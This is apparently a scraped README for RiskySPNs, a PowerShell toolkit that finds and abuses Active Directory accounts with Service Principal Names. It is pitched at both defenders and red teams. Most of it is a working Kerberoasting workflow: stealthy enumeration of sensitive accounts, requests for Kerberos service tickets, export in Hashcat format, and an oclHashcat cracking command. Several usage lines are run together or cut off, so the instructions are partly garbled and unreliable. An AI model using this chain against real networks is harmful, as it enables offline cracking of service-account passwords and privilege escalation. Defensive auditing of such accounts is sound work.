RiskySPNs is a collection of PowerShellscripts focused on detecting and abusing accounts associated with SPNs (Service Principal Name). This module can assist blue teams to identify potentially risky SPNs as well as red teams to escalate privileges by leveraging Kerberos and Active Directory.
For detailed information: http://www.cyberark.com/blog/service-accounts-weakest-link-chain/Usage
Install the module
Import-Module .\RiskySPNs.psm1IEX from web). .\Find-PotentiallyCrackableAccounts.ps1Set-ExecutionPolicy is Unrestricted or BypassGet information about a function (very detailed :))
Get-Help Get-TGSCipher -Full-Verbose modeSearch vulnerable SPNs
Find vulnerable accounts
Find-PotentiallyCrackableAccountsGenerate full deatiled report about vulnerable accounts (CISO <3)
Export-PotentiallyCrackableAccountsGet tickets
Request Kerberos TGS for SPN
Get-TGSCipher -SPN "MSSQLSvc/prodDB.company.com:1433"Find-PotentiallyCrackableAccounts -Stealth -GetSPNs | Get-TGSCipherThe fun stuff :)
Find-PotentiallyCrackableAccounts -Sensitive -Stealth -GetSPNs | Get-TGSCipher -Format "Hashcat" | Out-File crack.txt
oclHashcat64.exe -m 13100 crack.txt -a 3